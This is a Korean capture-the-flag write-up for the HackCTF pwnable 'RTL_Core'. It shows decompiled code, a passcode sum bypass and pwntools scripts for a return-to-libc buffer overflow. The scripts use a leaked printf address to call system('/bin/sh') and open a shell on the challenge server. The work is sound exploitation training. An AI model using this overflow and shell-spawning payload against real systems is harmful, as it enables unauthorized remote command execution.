WriteUp/HackCTF

RTL_Core

vared 2020. 8. 31. 12:41

nc ctf.j0n9hyun.xyz 3015

 

32비트 환경이다.

한번 실행을 해보자.

NX 걸려있는 것을 확인할 있다. RTL 사용하는 조건이겠지? 문제 이름이 RTL Core 이기 때문이다.

함수가 뭐있는지도 확인해보자.

 

중요해 보이는건 제목에 들어있는 core 함수와, check_passcode 함수가 중요해 보인다.

메인 문을 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-1Ch]

  setvbuf(_bss_start, 0, 2, 0);
  puts(&::s);
  printf("Passcode: ");
  gets(&s);
  if ( check_passcode(&s) == hashcode )
  {
    puts(&byte_8048840);
    core();
  }
  else
  {
    puts(&byte_8048881);
  }
  return 0;
}

GDB로도 보았을 hashcode 비교하는 부분을 확인하기 위해 main+106 breakpoint 어서 확인해보도록 하자.

오케이 좋다 edx eax 비교하는데 eax 0xc0d9b0a7, edx 0xfb68c9a8이다. 직전에 eax 특정값을 가져와서 비교하므로 0xc0d9b0a7 hashcode 되겠다.

사실 여러 실행해보면 eax값이 계속 일정하고, edx값이 계속 변하는 것을 통해서도 대충 추론할 있다.

IDA 에서도 확인할 있다.

 

입력값으로 0xc0d9b0a7 주면 if 내부로 들어올 알았는데..!

&s 어떤 함수의 인자로 들어간다. check_passcode 안으로 들어가는 것인데 한번 확인해보도록 하자.

int __cdecl check_passcode(int a1)
{
  int v2; // [esp+8h] [ebp-8h]
  int i; // [esp+Ch] [ebp-4h]

  v2 = 0;
  for ( i = 0; i <= 4; ++i )
    v2 += *(_DWORD *)(4 * i + a1);
  return v2;
}

저런걸 거치고 나와서 3235492007라는 정수가 되어야 한다.

4 도는데 4바이트씩 읽는것이기 때문에 주소값을 4 증가시켜 주는 함수이다.

그렇기 때문에 3235492007 / 5 해주면 된다. 나머지가2 남기 때문에 나중거는 2 만큼 더해준 값을 주면 된다.

 

pwntools 이용해서 코드를 짜보자.

from pwn import*
p=process('./rtlcore')
e = ELF('./libc.so.6')

pay=""
pay+=p32(0x2691f021)*4
pay+=p32(0x2691f023)

p.recvuntil('Passcode: ')
p.sendline(pay)

p.interactive()

저렇게 입력을 주고 core 함수를 실행한다. core 함수를 보자.

ssize_t core()
{
  int buf; // [esp+Ah] [ebp-3Eh]
  int v2; // [esp+Eh] [ebp-3Ah]
  __int16 v3; // [esp+12h] [ebp-36h]
  int v4; // [esp+38h] [ebp-10h]
  void *v5; // [esp+3Ch] [ebp-Ch]

  buf = 0;
  v2 = 0;
  v4 = 0;
  memset(
    (void *)((unsigned int)&v3 & 0xFFFFFFFC),
    0,
    4 * ((((unsigned int)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 0x2E) & 0xFFFFFFFC) >> 2));
  v5 = dlsym((void *)0xFFFFFFFF, "printf"); // 
  printf(&format, v5);
  return read(0, &buf, 0x64u);
}

일단 너에게 필요한 것은 ~ 하면서 주는 주소가 계속 변한다.

어떤 함수의 실제 주소를 출력해주는 함수인 같다. 아마 함수가 printf 함수인 하다.

그럼 굳이 우리가 libc_base 주소를 leak 해줄 필요가 없다.

return 부분을 보니 입력도 받는다. 100개를 입력받아주기 때문에

return 부분을 system 주소로 덮어주면 되겠다.

 

계획을 짜보자.

printf 이용해서 libc_base 주소를 구해준 다음, libc파일을 이용해서 offset 더해줘서

실제 함수의 주소를 찾아주면 되겠다.

buf 62 크기를 가지니까 payload 다음과 같이 해주면 되겠다.

"A"*62+"B"*4+real_sys+"C"*4+real_binsh

이렇게만 써줘도 충분할 것이다.

 

# -*- coding: utf-8 -*- 

from pwn import*
p=remote("ctf.j0n9hyun.xyz",3015)
#p=process('./rtlcore')
e = ELF('./libc.so.6')

sys_offset = 0xe8d0

pay=""
pay+=p32(0x2691f021)*4
pay+=p32(0x2691f023)

p.recvuntil('Passcode: ')
p.sendline(pay)

p.recvuntil('바로 ')
printf = int(p.recvline()[:10],16)

libc_base = printf-e.symbols['printf']
real_sys = libc_base+e.symbols['system']
real_binsh = libc_base+e.search("/bin/sh").next()

pay2 = ""
pay2 +="A"*62
pay2 +="B"*4
pay2 += p32(real_sys)
pay2 += "C"*4
pay2 += p32(real_binsh)

p.sendline(pay2)

p.interactive()